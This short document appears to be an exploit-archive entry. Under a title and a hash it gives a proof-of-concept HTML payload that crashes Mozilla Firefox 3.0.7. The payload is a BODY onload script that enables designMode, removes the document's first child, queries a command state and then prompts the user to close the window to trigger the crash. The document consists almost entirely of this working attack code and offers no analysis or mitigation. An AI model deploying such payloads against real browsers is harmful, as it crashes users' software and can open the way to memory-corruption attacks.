Mozilla Firefox 3.0.7 OnbeforeUnLoad DesignMode reference crash exploit.
02291ecdde47dce048dcb42adac3b1508cdea7e7ab5645016e1f5be7b0b67ea1
<BODY onload="document.designMode='on';//string
alert('Design mode is on!');
document.removeChild(document.firstChild);//object;
document.queryCommandState('BackColor');
alert('Close the Window to see the crash!');
">